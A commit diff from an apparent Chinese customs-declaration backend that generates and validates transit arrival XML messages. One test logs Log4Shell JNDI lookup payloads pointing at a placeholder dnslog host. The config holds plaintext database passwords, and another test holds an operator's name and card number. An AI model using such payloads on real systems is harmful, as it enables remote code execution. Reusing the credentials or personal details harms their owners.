作者 朱兆平

转关运抵报文生成

... ... @@ -48,12 +48,12 @@ spring:
type: com.alibaba.druid.pool.DruidDataSource
#oracle
driver-class-name: oracle.jdbc.OracleDriver
# url: jdbc:oracle:thin:@192.168.1.199:10069:CGODB
# username: CGONMS
# password: 1q2w3e4r
url: jdbc:oracle:thin:@192.168.1.253:1522:ORCLL
url: jdbc:oracle:thin:@192.168.1.199:10069:CGODB
username: CGONMS
password: vmvnv1v2
password: 1q2w3e4r
# url: jdbc:oracle:thin:@192.168.1.253:1522:ORCLL
# username: CGONMS
# password: vmvnv1v2
#spring datasource mysql,注意编码配置,缺少数据库编码配置容易引起中文入库乱码
# url: jdbc:mysql://127.0.0.1:3307/statistics?useUnicode=true&characterEncoding=utf8
# username: root
... ... @@ -131,10 +131,15 @@ logging:
#Java Web Token 时效时间,单位秒
jwt:
max-alive: 300
# 舱单生成配置
customs:
#生成报文文件夹路径,尾部要带斜杠/
xml-path: customTemplate/
transport-number: 460470678920X
# 转关运抵相关配置
transarrive:
#生成报文文件夹路径,尾部要带斜杠/
xml-save: transarriveSend/
sso:
witheIP: 10.5.14.108,10.5.14.109,10.5.14.110
info:
... ...
... ... @@ -52,8 +52,8 @@ public class TransArriveExportController {
return result>0?new ResultJson("200","更新转关运抵申报成功!"):new ResultJson("201",msg);
}
@ApiOperation(value = "查询转关运抵申报列表")
@RequestMapping("/selectTrans")
public ResultJson<PageInfo> selectPrediction(@RequestParam(value = "customscode", required = false) String customscode,
@GetMapping("/selectTrans")
public ResultJson<PageInfo<TRANSTOARRIVEEXPORT>> selectPrediction(@RequestParam(value = "customscode", required = false) String customscode,
@RequestParam(value = "username", required = false) String username,
@RequestParam(value = "trafmode", required = false) String trafmode,
@RequestParam(value = "unloadcode", required = false) String unloadcode,
... ... @@ -72,4 +72,15 @@ public class TransArriveExportController {
PageInfo<TRANSTOARRIVEEXPORT> pageInfo = transArriveExportService.selectTrans(trans,pageNum,pageSize);
return new ResultJson("200","success",pageInfo);
}
@ApiOperation(value = "转关运抵申报")
@PostMapping("/send")
public ResultJson send(@RequestBody TRANSTOARRIVEEXPORT trans){
return transArriveExportService.send(trans);
}
@ApiOperation(value = "批量转关运抵申报")
@PostMapping("batchSend")
public ResultJson batchSend(@RequestBody TRANSTOARRIVEEXPORT trans){
return transArriveExportService.batchSend(trans);
}
}
... ...
package com.tianbo.analysis.model;
import com.fasterxml.jackson.annotation.JsonFormat;
import io.swagger.annotations.ApiModelProperty;
import java.util.Date;
public class TRANSTOARRIVEEXPORT {
... ... @@ -9,9 +12,10 @@ public class TRANSTOARRIVEEXPORT {
private String seqno;
@ApiModelProperty(value = "海关关区")
private String customscode;
private Object inputopid;
private String inputopid;
private String inputopname;
... ... @@ -41,6 +45,7 @@ public class TRANSTOARRIVEEXPORT {
private String unloadcode;
@JsonFormat(shape = JsonFormat.Shape.STRING, pattern = "yyyyMMddhhmmss", timezone = "GMT+8")
private Date arrivetime;
private String contatype;
... ... @@ -53,6 +58,7 @@ public class TRANSTOARRIVEEXPORT {
private String sign;
@JsonFormat(shape = JsonFormat.Shape.STRING, pattern = "yyyyMMddhhmmss", timezone = "GMT+8")
private Date signdate;
private String clientseqno;
... ... @@ -105,11 +111,11 @@ public class TRANSTOARRIVEEXPORT {
this.customscode = customscode == null ? null : customscode.trim();
}
public Object getInputopid() {
public String getInputopid() {
return inputopid;
}
public void setInputopid(Object inputopid) {
public void setInputopid(String inputopid) {
this.inputopid = inputopid;
}
... ... @@ -352,4 +358,4 @@ public class TRANSTOARRIVEEXPORT {
public void setUpdatetime(Date updatetime) {
this.updatetime = updatetime;
}
}
\ No newline at end of file
}
... ...
package com.tianbo.analysis.service;
import com.github.pagehelper.PageInfo;
import com.tianbo.analysis.model.ResultJson;
import com.tianbo.analysis.model.TRANSTOARRIVEEXPORT;
import java.util.List;
public interface TransArriveExportService {
int addTransArriveExport(TRANSTOARRIVEEXPORT transtoarriveexport);
int ediTransArriveExport(TRANSTOARRIVEEXPORT transtoarriveexport);
int delTransArriveExport(String autoid);
PageInfo<TRANSTOARRIVEEXPORT> selectTrans(TRANSTOARRIVEEXPORT transtoarriveexport,int pageNum,int pageSize);
PageInfo<TRANSTOARRIVEEXPORT> selectTrans(TRANSTOARRIVEEXPORT transtoarriveexport, int pageNum, int pageSize);
ResultJson send(TRANSTOARRIVEEXPORT var);
ResultJson batchSend(TRANSTOARRIVEEXPORT var);
}
... ...
... ... @@ -3,17 +3,45 @@ package com.tianbo.analysis.service.imp;
import com.github.pagehelper.PageHelper;
import com.github.pagehelper.PageInfo;
import com.tianbo.analysis.dao.TRANSTOARRIVEEXPORTMapper;
import com.tianbo.analysis.model.ResultJson;
import com.tianbo.analysis.model.TRANSTOARRIVEEXPORT;
import com.tianbo.analysis.service.TransArriveExportService;
import com.tianbo.analysis.tools.XmlTools;
import com.tianbo.util.Date.DateUtil;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.io.FileUtils;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.stereotype.Service;
import org.springframework.util.ResourceUtils;
import org.thymeleaf.TemplateEngine;
import org.thymeleaf.context.Context;
import org.thymeleaf.exceptions.TemplateInputException;
import org.xml.sax.SAXParseException;
import javax.annotation.Resource;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.util.Date;
import java.util.List;
import java.util.Locale;
import java.util.UUID;
@Service
@Slf4j
public class TransArriveExportImpl implements TransArriveExportService {
@Autowired
@Resource
TRANSTOARRIVEEXPORTMapper mapper;
@Autowired
private TemplateEngine templateEngine;
@Value("${customs.transarrive.xml-save}")
private String saveXmlForSendDir;
@Override
public int addTransArriveExport(TRANSTOARRIVEEXPORT transtoarriveexport) {
return mapper.insertSelective(transtoarriveexport);
... ... @@ -33,7 +61,75 @@ public class TransArriveExportImpl implements TransArriveExportService {
public PageInfo<TRANSTOARRIVEEXPORT> selectTrans(TRANSTOARRIVEEXPORT transtoarriveexport, int pageNum, int pageSize) {
PageHelper.startPage(pageNum,pageSize);
List<TRANSTOARRIVEEXPORT> list=mapper.selectTrans(transtoarriveexport);
PageInfo<TRANSTOARRIVEEXPORT> pageInfo=new PageInfo<>(list);
PageInfo<TRANSTOARRIVEEXPORT> pageInfo=new PageInfo<TRANSTOARRIVEEXPORT>(list);
return pageInfo;
}
@Override
public ResultJson send(TRANSTOARRIVEEXPORT record) {
ResultJson resultJson= new ResultJson();
try{
String nowStr = DateUtil.getCurrentTime17();
//从配置文件读取
String messageID = "CN_"
+ "TRANSARRIVE_EXPORT_DECLARE"
+ "_1P0_"
+ record.getCustomscode()+
"_" + nowStr;
Context context = new Context();
context.setVariable("declare",record);
context.setLocale(Locale.SIMPLIFIED_CHINESE);
//生成的文件名
String fileName = messageID + ".xml";
//生成的报文路径,带斜杠
String filePath = saveXmlForSendDir+fileName;
File file = ResourceUtils.getFile(filePath);
/**
* 中文的地方在模板中要用utext,否则中文会被 escape 转义
*/
String xmlStr = templateEngine.process("transToArrive/EXPORT_DECLARE_TPL.xml",context);
boolean valied = XmlTools.validateXMLSchema("xsd/ETAImportMessage.xsd", xmlStr);
if (valied){
FileUtils.writeStringToFile(file,xmlStr, StandardCharsets.UTF_8);
//todo:更新发送状态,插入发送日志
resultJson.setCode("200");
resultJson.setMsg("报文发送成功");
}else {
resultJson.setCode("400");
resultJson.setMsg("报文发送失败,报文校验不通过");
resultJson.setError("报文发送失败,报文校验不通过");
}
}catch (FileNotFoundException e){
e.printStackTrace();
resultJson.setCode("401");
resultJson.setMsg("报文发送失败,文件未找到,"+e.toString());
resultJson.setError("报文发送失败,文件未找到,"+e.toString());
}catch (IOException e) {
e.printStackTrace();
resultJson.setCode("402");
resultJson.setMsg("报文发送失败,文件读取失败,"+e.toString());
resultJson.setError("报文发送失败,文件读取失败,"+e.toString());
}catch (TemplateInputException e){
resultJson.setCode("404");
resultJson.setMsg("报文发送失败,报文模板未找到,"+e.toString());
resultJson.setError("报文发送失败,报文模板未找到,"+e.toString());
}catch (SAXParseException e){
log.error("[XML-ERR]-xml报文校验失败:{}",e.getMessage());
} catch (Exception ignored){
resultJson.setCode("405");
resultJson.setMsg("报文发送失败,其他错误"+ignored.toString());
resultJson.setError("报文发送失败,其他错误"+ignored.toString());
}
return resultJson;
}
@Override
public ResultJson batchSend(TRANSTOARRIVEEXPORT var) {
return null;
}
}
... ...
package com.tianbo.analysis.tools;
import lombok.extern.slf4j.Slf4j;
import org.xml.sax.SAXException;
import javax.xml.XMLConstants;
import javax.xml.transform.Source;
import javax.xml.transform.stream.StreamSource;
import javax.xml.validation.Schema;
import javax.xml.validation.SchemaFactory;
import javax.xml.validation.Validator;
import java.io.ByteArrayInputStream;
import java.io.File;
import java.io.IOException;
/**
* @author mrz
* @date 20220110
* XML相关工具类
*/
@Slf4j
public class XmlTools {
/**
* 根据XSD校验XML报文是否正确
* @param xsdPath xsd文件路径
* @param xmlStr xml报文内容
* @return 正确错误
* @throws IOException 文件读取解析异常
*/
public static boolean validateXMLSchema(String xsdPath, String xmlStr) throws IOException,SAXException {
ByteArrayInputStream bais = new ByteArrayInputStream(xmlStr.getBytes("UTF-8"));
try {
SchemaFactory factory =
SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
Schema schema = factory.newSchema(new File(xsdPath));
Validator validator = schema.newValidator();
Source source = new StreamSource(bais);
validator.validate(source);
} catch (IOException | SAXException e) {
e.printStackTrace();
log.error("Exception:{}",e.getMessage());
return false;
}finally {
bais.close();
}
return true;
}
}
... ...
... ... @@ -6,7 +6,7 @@
<result column="IEFlag" property="ieflag" jdbcType="VARCHAR" />
<result column="SeqNo" property="seqno" jdbcType="VARCHAR" />
<result column="CustomsCode" property="customscode" jdbcType="VARCHAR" />
<result column="InputOpId" property="inputopid" jdbcType="OTHER" />
<result column="InputOpId" property="inputopid" jdbcType="VARCHAR" />
<result column="InputOpName" property="inputopname" jdbcType="VARCHAR" />
<result column="ApplyName" property="applyname" jdbcType="VARCHAR" />
<result column="ApplyCode" property="applycode" jdbcType="VARCHAR" />
... ... @@ -90,7 +90,7 @@
CREATTIME, DSTATUS, CUSTOM_RESPONSE_TEXT,
CUSTOM_RESPONSE_STATUS, UPDATETIME)
values (#{autoid,jdbcType=VARCHAR}, #{ieflag,jdbcType=VARCHAR}, #{seqno,jdbcType=VARCHAR},
#{customscode,jdbcType=VARCHAR}, #{inputopid,jdbcType=OTHER}, #{inputopname,jdbcType=VARCHAR},
#{customscode,jdbcType=VARCHAR}, #{inputopid,jdbcType=VARCHAR}, #{inputopname,jdbcType=VARCHAR},
#{applyname,jdbcType=VARCHAR}, #{applycode,jdbcType=VARCHAR}, #{copcode,jdbcType=VARCHAR},
#{arriveno,jdbcType=VARCHAR}, #{contaid,jdbcType=VARCHAR}, #{billno,jdbcType=VARCHAR},
#{trafmode,jdbcType=VARCHAR}, #{trafname,jdbcType=VARCHAR}, #{voyageno,jdbcType=VARCHAR},
... ... @@ -225,7 +225,7 @@
#{customscode,jdbcType=VARCHAR},
</if>
<if test="inputopid != null" >
#{inputopid,jdbcType=OTHER},
#{inputopid,jdbcType=VARCHAR},
</if>
<if test="inputopname != null" >
#{inputopname,jdbcType=VARCHAR},
... ... @@ -332,7 +332,7 @@
CustomsCode = #{customscode,jdbcType=VARCHAR},
</if>
<if test="inputopid != null" >
InputOpId = #{inputopid,jdbcType=OTHER},
InputOpId = #{inputopid,jdbcType=VARCHAR},
</if>
<if test="inputopname != null" >
InputOpName = #{inputopname,jdbcType=VARCHAR},
... ... @@ -432,7 +432,7 @@
set IEFlag = #{ieflag,jdbcType=VARCHAR},
SeqNo = #{seqno,jdbcType=VARCHAR},
CustomsCode = #{customscode,jdbcType=VARCHAR},
InputOpId = #{inputopid,jdbcType=OTHER},
InputOpId = #{inputopid,jdbcType=VARCHAR},
InputOpName = #{inputopname,jdbcType=VARCHAR},
ApplyName = #{applyname,jdbcType=VARCHAR},
ApplyCode = #{applycode,jdbcType=VARCHAR},
... ...
<?xml version="1.0" encoding="UTF-8"?>
<EtaMessage xmlns="http://www.chinaport.gov.cn/eta" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.chinaport.gov.cn/eta">
<Vertion>1.0</Vertion>
<IEFlag>E</IEFlag>
<EtaArrival>
<SeqNo>${序号}</SeqNo>
<CustomsCode>${关区}</CustomsCode>
<InputOpId>${操作员IC卡号}</InputOpId>
<InputOpName>${操作员IC卡姓名}</InputOpName>
<ApplyName>${报关公司}</ApplyName>
<ApplyCode>${报关公司海关十位编码}</ApplyCode>
<CopCode>${报关公司组织机构代码}</CopCode>
<!--运抵编号(
北方模式必填
南方模式免填
水运中转模式选填
运抵编号规则:4位申报地海关代码+2位卸货地代码+6位编号生成日期〔顺序为年(2位)、月(2位)、日(2位)〕+6位流水号';)-->
<ArriveNo>${运抵编号}</ArriveNo>
<!-- 集装箱货物必填;非集装箱货物填H2000 -->
<ContaId>${集装箱编号}</ContaId>
<!-- 北方模式选填
南方模式汽车运输的填报车牌号
水运中转模式必填 -->
<BillNo>${运单号}</BillNo>
<!--进出境运输方式代码:2-江海运输;3-铁路运输;4-汽车运输;5-航空运输;6-邮件运输 -->
<TrafMode>${运输方式}</TrafMode>
<!-- 当北方模式选填
南方模式填写“@”+13位载货清单号
水运中转模式:境内水路运输填报驳船船名;境内铁路运输填报车名(主管海关4位关别代码+“TRAIN”);境内公路运输填报车名(主管海关4位关别代码+“TRUCK”) -->
<TrafName>${运输工具名称}</TrafName>
<!-- 境内运输工具航(班)次:北方模式选填
南方模式免填
水运中转模式:境内水路运输填报驳船航次号;境内铁路、公路运输填报6位启运日期〔顺序为年(2位)、月(2位)、日(2位) -->
<VoyageNo>${运输工具启运时间}</VoyageNo>
<!-- 境内运输方式:2-江海运输;3-铁路运输;4-汽车运输;5-航空运输;6-邮件运输-->
<TrafWay>${境内运输方式}</TrafWay>
<!-- 托运货物件数:非集装箱货物必填 -->
<PackNo>${托运件数}</PackNo>
<GrossWt>${托运重量}</GrossWt>
<UnloadCode>${卸货地代码}</UnloadCode>
<ArriveTime>${到达卸货地时间}</ArriveTime>
<!-- 集装箱(器)尺寸和类FFF/*0型:集装箱货物必填
非集装箱货物免填 -->
<ContaType>${集装器尺寸}</ContaType>
<!-- 转关方式:0-非转关运抵模式;1-南方转关运抵模式;2-北方转关运抵模式;3-水运中转运抵模式 -->
<TrnMode>${转关方式}</TrnMode>
<Notes>${备注}</Notes>
</EtaArrival>
<EtaArrivalSign>
<!-- A:暂存,C:申报 -->
<OperType>${申报类型}</OperType>
<Sign>${签名信息}</Sign>
<SignDate>${签名日期}</SignDate>
<ClientSeqNo>${客户端统一编号}</ClientSeqNo>
<HostId>${邮箱客户端ID}</HostId>
<CertNo>${当前操作员IC卡证书号}</CertNo>
</EtaArrivalSign>
</EtaMessage>
... ...
<?xml version="1.0" encoding="UTF-8"?>
<EtaMessage xmlns="http://www.chinaport.gov.cn/eta"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.chinaport.gov.cn/eta"
th:object="${declare}"
>
<Vertion>1.0</Vertion>
<IEFlag>E</IEFlag>
<EtaArrival>
<SeqNo th:text="*{seqno}">${序号}</SeqNo>
<CustomsCode th:text="*{customscode}">${关区}</CustomsCode>
<InputOpId th:text="*{inputopid}">${操作员IC卡号}</InputOpId>
<InputOpName th:utext="*{inputopname}">${操作员IC卡姓名}</InputOpName>
<ApplyName th:utext="*{applyname}">${报关公司}</ApplyName>
<ApplyCode th:text="*{applycode}">${报关公司海关十位编码}</ApplyCode>
<CopCode th:text="*{copcode}">${报关公司组织机构代码}</CopCode>
<!--运抵编号(
北方模式必填
南方模式免填
水运中转模式选填
运抵编号规则:4位申报地海关代码+2位卸货地代码+6位编号生成日期〔顺序为年(2位)、月(2位)、日(2位)〕+6位流水号';)-->
<ArriveNo th:text="*{arriveno}">${运抵编号}</ArriveNo>
<!-- 集装箱货物必填;非集装箱货物填H2000 -->
<ContaId th:text="*{contaid}">${集装箱编号}</ContaId>
<!-- 北方模式选填
南方模式汽车运输的填报车牌号
水运中转模式必填 -->
<BillNo th:text="*{billno}">${运单号}</BillNo>
<!--进出境运输方式代码:2-江海运输;3-铁路运输;4-汽车运输;5-航空运输;6-邮件运输 -->
<TrafMode th:text="*{trafmode}">${进出境运输方式}</TrafMode>
<!-- 当北方模式选填
南方模式填写“@”+13位载货清单号
水运中转模式:境内水路运输填报驳船船名;境内铁路运输填报车名(主管海关4位关别代码+“TRAIN”);境内公路运输填报车名(主管海关4位关别代码+“TRUCK”) -->
<TrafName th:text="*{trafname}">${运输工具名称}</TrafName>
<!-- 境内运输工具航(班)次:北方模式选填
南方模式免填
水运中转模式:境内水路运输填报驳船航次号;境内铁路、公路运输填报6位启运日期〔顺序为年(2位)、月(2位)、日(2位) -->
<VoyageNo th:text="*{voyageno}">${运输工具启运时间}</VoyageNo>
<!-- 境内运输方式:2-江海运输;3-铁路运输;4-汽车运输;5-航空运输;6-邮件运输-->
<TrafWay th:text="*{trafway}">${境内运输方式}</TrafWay>
<!-- 托运货物件数:非集装箱货物必填 -->
<PackNo th:text="*{packno}">${托运件数}</PackNo>
<GrossWt th:text="*{grosswt}">${托运重量}</GrossWt>
<UnloadCode th:text="*{unloadcode}">${卸货地代码}</UnloadCode>
<ArriveTime th:text="*{#dates.format(arrivetime,'yyyyMMddhhmmss')}">${到达卸货地时间}</ArriveTime>
<!-- 集装箱(器)尺寸和类FFF/*0型:集装箱货物必填
非集装箱货物免填 -->
<ContaType th:text="*{contatype}">${集装器尺寸}</ContaType>
<!-- 转关方式:0-非转关运抵模式;1-南方转关运抵模式;2-北方转关运抵模式;3-水运中转运抵模式 -->
<TrnMode th:text="*{trnmode}">${转关方式}</TrnMode>
<Notes th:text="*{notes}">${备注}</Notes>
</EtaArrival>
<EtaArrivalSign>
<!-- A:暂存,C:申报 -->
<OperType th:text="*{opertype}">${申报类型}</OperType>
<Sign th:text="*{sign}">${签名信息}</Sign>
<SignDate th:text="*{#dates.format(signdate,'yyyyMMddhhmmss')}">${签名日期}</SignDate>
<ClientSeqNo th:text="*{clientseqno}">${客户端统一编号}</ClientSeqNo>
<HostId th:text="*{hostid}">${邮箱客户端ID}</HostId>
<CertNo th:text="*{certno}">${当前操作员IC卡证书号}</CertNo>
</EtaArrivalSign>
</EtaMessage>
... ...
import com.tianbo.analysis.NmmsAdminApplication;
import lombok.extern.slf4j.Slf4j;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.junit.runner.RunWith;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.test.context.junit4.SpringRunner;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
//@RunWith(SpringRunner.class)
@SpringBootTest(classes = NmmsAdminApplication.class)
@Slf4j
public class Test {
private static Logger logger = LogManager.getLogger(Test.class);
@org.junit.jupiter.api.Test
public void send(){
String s = "/${java:os}";
logger.error("username: {}",s);
logger.error("/${jndi:ldap://xxxxx.dnslog.cn/exp}");
logger.error("${jndi:ldap://xxxxx.dnslog.cn/exp}");
logger.error("/${}","jndi:ldap://xxxxx.dnslog.cn/exp");
logger.error("${}","jndi:ldap://xxxxx.dnslog.cn/exp");
String keyword = "(/[TEFXL]{2}/.{1,25})+";
// 创建 Pattern 对象
Pattern r = Pattern.compile(keyword);
// 现在创建 matcher 对象
Matcher m = r.matcher("/CN//TE/02120527366/FX/FFFFXXX1123211/TL/112121DSADSADDDDDDD");
if (m.find()){
logger.info("找到适配f");
logger.info(m.group(1));
logger.info(m.group(2));
}
if (m.matches()){
logger.info("找到适配m");
logger.info(m.group(1));
logger.info(m.group(2));
}
// MSGS msgs = new MSGS();
// MSG msg = new MSG();
//
... ...
import com.tianbo.analysis.NmmsAdminApplication;
import com.tianbo.analysis.model.TRANSTOARRIVEEXPORT;
import com.tianbo.analysis.service.TransArriveExportService;
import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;
import java.util.Date;
@SpringBootTest(classes = NmmsAdminApplication.class)
@Slf4j
public class TransAriiveTest {
@Autowired
TransArriveExportService transArriveExportService;
@org.junit.jupiter.api.Test
public void send(){
TRANSTOARRIVEEXPORT t = new TRANSTOARRIVEEXPORT();
//海关信息及IC卡相关部分
t.setApplycode("4101888126");
t.setApplyname("河南航空货运发展有限公司");
t.setCopcode("70678920X");
t.setCustomscode("4604");
//操作员IC卡号
t.setInputopid("8930000085548");
t.setInputopname("翟梦一");
t.setCertno("21212321321321");
t.setSeqno("");
//货物承运运输信息部分
t.setTrafmode("5");
t.setTrnmode("2");
t.setTrafway("4");
t.setUnloadcode("CGO");
t.setArrivetime(new Date());
//货物信息部分
t.setGrosswt("42.00");
//申报签名部分
t.setOpertype("A");
t.setSign("kUNHDHVG1b72ZIrN8voIGUr+2JRITIo5FlusuSQCMerhV5GEGg9Z42L5F28MM+4gFL6CQgH2JPmdRdHAYIKJa89fdxGnHE3QSVd8dDUxx7q7AUUDzOg25OVB3ULywb8ruivj6tAR0daYkU3ACzWMYZoH4BNEMh4Za6DI7lBNf04=");
t.setSigndate(new Date());
// t.setClientseqno("000000000000905006");
// t.setClientseqno("000000000000057246");
t.setClientseqno("000000000000002050");
t.setHostid("2012062600");
transArriveExportService.send(t);
}
}
... ...
<?xml version="1.0" encoding="UTF-8"?>
<!-- edited with XMLSpy v2008 sp1 (http://www.altova.com) by YYC (EMBRACE) -->
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:eta="http://www.chinaport.gov.cn/eta" targetNamespace="http://www.chinaport.gov.cn/eta" elementFormDefault="qualified" attributeFormDefault="unqualified">
<xs:element name="EtaMessage">
<xs:annotation>
<xs:documentation>运抵报告全自动导入报文</xs:documentation>
</xs:annotation>
<xs:complexType>
<xs:sequence>
<xs:element name="Vertion">
<xs:simpleType>
<xs:restriction base="xs:string">
<xs:maxLength value="5"/>
<xs:minLength value="1"/>
</xs:restriction>
</xs:simpleType>
</xs:element>
<xs:element name="IEFlag">
<xs:annotation>
<xs:documentation>进出口标志</xs:documentation>
</xs:annotation>
<xs:simpleType>
<xs:restriction base="xs:string">
<xs:maxLength value="1"/>
</xs:restriction>
</xs:simpleType>
</xs:element>
<xs:element name="EtaArrival">
<xs:complexType>
<xs:sequence>
<xs:element name="SeqNo">
<xs:annotation>
<xs:documentation>统一编号</xs:documentation>
</xs:annotation>
<xs:simpleType>
<xs:restriction base="xs:string">
<xs:maxLength value="18"/>
</xs:restriction>
</xs:simpleType>
</xs:element>
<xs:element name="CustomsCode">
<xs:annotation>
<xs:documentation>申报地海关</xs:documentation>
</xs:annotation>
<xs:simpleType>
<xs:restriction base="xs:string">
<xs:length value="4"/>
</xs:restriction>
</xs:simpleType>
</xs:element>
<xs:element name="InputOpId">
<xs:annotation>
<xs:documentation>当前操作员ic卡号</xs:documentation>
</xs:annotation>
<xs:simpleType>
<xs:restriction base="xs:string">
<xs:length value="13"/>
</xs:restriction>
</xs:simpleType>
</xs:element>
<xs:element name="InputOpName">
<xs:annotation>
<xs:documentation>当前操作员ic卡姓名</xs:documentation>
</xs:annotation>
<xs:simpleType>
<xs:restriction base="xs:string">
<xs:maxLength value="20"/>
<xs:minLength value="1"/>
</xs:restriction>
</xs:simpleType>
</xs:element>
<xs:element name="ApplyName">
<xs:annotation>
<xs:documentation>当前操作员单位名称</xs:documentation>
</xs:annotation>
<xs:simpleType>
<xs:restriction base="xs:string">
<xs:maxLength value="255"/>
<xs:minLength value="1"/>
</xs:restriction>
</xs:simpleType>
</xs:element>
<xs:element name="ApplyCode">
<xs:annotation>
<xs:documentation>当前操作员单位海关十位编码</xs:documentation>
</xs:annotation>
<xs:simpleType>
<xs:restriction base="xs:string">
<xs:length value="10"/>
</xs:restriction>
</xs:simpleType>
</xs:element>
<xs:element name="CopCode">
<xs:annotation>
<xs:documentation>当前操作员单位组织机构代码</xs:documentation>
</xs:annotation>
<xs:simpleType>
<xs:restriction base="xs:string">
<xs:length value="9"/>
</xs:restriction>
</xs:simpleType>
</xs:element>
<xs:element name="ArriveNo">
<xs:annotation>
<xs:documentation>运抵编号(北方模式必填
南方模式免填
水运中转模式选填
运抵编号规则:4位申报地海关代码+2位卸货地代码+6位编号生成日期〔顺序为年(2位)、月(2位)、日(2位)〕+6位流水号';)</xs:documentation>
</xs:annotation>
<xs:simpleType>
<xs:restriction base="xs:string">
<xs:maxLength value="18"/>
</xs:restriction>
</xs:simpleType>
</xs:element>
<xs:element name="ContaId">
<xs:annotation>
<xs:documentation>集装箱货物必填;非集装箱货物填H2000</xs:documentation>
</xs:annotation>
<xs:simpleType>
<xs:restriction base="xs:string">
<xs:maxLength value="11"/>
<xs:minLength value="0"/>
</xs:restriction>
</xs:simpleType>
</xs:element>
<xs:element name="BillNo">
<xs:annotation>
<xs:documentation>北方模式选填
南方模式汽车运输的填报车牌号
水运中转模式必填</xs:documentation>
</xs:annotation>
<xs:simpleType>
<xs:restriction base="xs:string">
<xs:maxLength value="32"/>
</xs:restriction>
</xs:simpleType>
</xs:element>
<xs:element name="TrafMode">
<xs:annotation>
<xs:documentation>进出境运输方式代码:2-江海运输;3-铁路运输;4-汽车运输;5-航空运输;6-邮件运输</xs:documentation>
</xs:annotation>
<xs:simpleType>
<xs:restriction base="xs:string">
<xs:maxLength value="1"/>
</xs:restriction>
</xs:simpleType>
</xs:element>
<xs:element name="TrafName">
<xs:annotation>
<xs:documentation>当北方模式选填
南方模式填写“@”+13位载货清单号
水运中转模式:境内水路运输填报驳船船名;境内铁路运输填报车名(主管海关4位关别代码+“TRAIN”);境内公路运输填报车名(主管海关4位关别代码+“TRUCK”)</xs:documentation>
</xs:annotation>
<xs:simpleType>
<xs:restriction base="xs:string">
<xs:maxLength value="255"/>
</xs:restriction>
</xs:simpleType>
</xs:element>
<xs:element name="VoyageNo">
<xs:annotation>
<xs:documentation>境内运输工具航(班)次:北方模式选填
南方模式免填
水运中转模式:境内水路运输填报驳船航次号;境内铁路、公路运输填报6位启运日期〔顺序为年(2位)、月(2位)、日(2位)</xs:documentation>
</xs:annotation>
<xs:simpleType>
<xs:restriction base="xs:string">
<xs:maxLength value="32"/>
</xs:restriction>
</xs:simpleType>
</xs:element>
<xs:element name="TrafWay">
<xs:annotation>
<xs:documentation>境内运输方式:2-江海运输;3-铁路运输;4-汽车运输;5-航空运输;6-邮件运输</xs:documentation>
</xs:annotation>
<xs:simpleType>
<xs:restriction base="xs:string">
<xs:maxLength value="1"/>
</xs:restriction>
</xs:simpleType>
</xs:element>
<xs:element name="PackNo">
<xs:annotation>
<xs:documentation>托运货物件数:非集装箱货物必填</xs:documentation>
</xs:annotation>
<xs:simpleType>
<xs:restriction base="xs:string">
<xs:maxLength value="18"/>
</xs:restriction>
</xs:simpleType>
</xs:element>
<xs:element name="GrossWt">
<xs:annotation>
<xs:documentation>货物总毛重:非集装箱货物必填,单位:千克。</xs:documentation>
</xs:annotation>
<xs:simpleType>
<xs:restriction base="xs:string">
<xs:maxLength value="18"/>
</xs:restriction>
</xs:simpleType>
</xs:element>
<xs:element name="UnloadCode">
<xs:annotation>
<xs:documentation>卸货地代码</xs:documentation>
</xs:annotation>
<xs:simpleType>
<xs:restriction base="xs:string">
<xs:maxLength value="32"/>
</xs:restriction>
</xs:simpleType>
</xs:element>
<xs:element name="ArriveTime">
<xs:annotation>
<xs:documentation>到达卸货地时间</xs:documentation>
</xs:annotation>
<xs:simpleType>
<xs:restriction base="xs:string">
<xs:maxLength value="14"/>
</xs:restriction>
</xs:simpleType>
</xs:element>
<xs:element name="ContaType">
<xs:annotation>
<xs:documentation>集装箱(器)尺寸和类FFF/*0型:集装箱货物必填
非集装箱货物免填</xs:documentation>
</xs:annotation>
<xs:simpleType>
<xs:restriction base="xs:string">
<xs:maxLength value="4"/>
</xs:restriction>
</xs:simpleType>
</xs:element>
<xs:element name="TrnMode">
<xs:annotation>
<xs:documentation>转关方式:0-非转关运抵模式;1-南方转关运抵模式;2-北方转关运抵模式;3-水运中转运抵模式</xs:documentation>
</xs:annotation>
<xs:simpleType>
<xs:restriction base="xs:string">
<xs:maxLength value="1"/>
</xs:restriction>
</xs:simpleType>
</xs:element>
<xs:element name="Notes">
<xs:annotation>
<xs:documentation>备注</xs:documentation>
</xs:annotation>
<xs:simpleType>
<xs:restriction base="xs:string">
<xs:maxLength value="255"/>
</xs:restriction>
</xs:simpleType>
</xs:element>
</xs:sequence>
</xs:complexType>
</xs:element>
<xs:element name="EtaArrivalSign">
<xs:complexType>
<xs:sequence>
<xs:element name="OperType">
<xs:annotation>
<xs:documentation>操作类型:A:暂存;C:申报(申请)</xs:documentation>
</xs:annotation>
<xs:simpleType>
<xs:restriction base="xs:string">
<xs:length value="1"/>
</xs:restriction>
</xs:simpleType>
</xs:element>
<xs:element name="Sign">
<xs:annotation>
<xs:documentation>签名信息</xs:documentation>
</xs:annotation>
<xs:simpleType>
<xs:restriction base="xs:string">
<xs:maxLength value="201"/>
<xs:minLength value="1"/>
</xs:restriction>
</xs:simpleType>
</xs:element>
<xs:element name="SignDate">
<xs:annotation>
<xs:documentation>签名日期</xs:documentation>
</xs:annotation>
<xs:simpleType>
<xs:restriction base="xs:string">
<xs:length value="14"/>
</xs:restriction>
</xs:simpleType>
</xs:element>
<xs:element name="ClientSeqNo">
<xs:annotation>
<xs:documentation>客户端统一编号,每个hostid要唯一</xs:documentation>
</xs:annotation>
<xs:simpleType>
<xs:restriction base="xs:string">
<xs:length value="18"/>
</xs:restriction>
